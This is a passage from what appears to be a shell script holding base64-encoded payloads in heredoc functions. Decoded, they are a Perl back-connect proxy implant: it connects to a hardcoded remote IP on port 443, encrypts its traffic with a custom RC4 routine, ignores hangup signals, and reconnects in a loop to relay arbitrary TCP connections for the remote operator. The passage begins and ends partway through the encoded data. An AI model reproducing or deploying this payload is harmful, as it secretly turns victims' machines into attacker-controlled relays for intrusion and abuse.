ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_49() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl 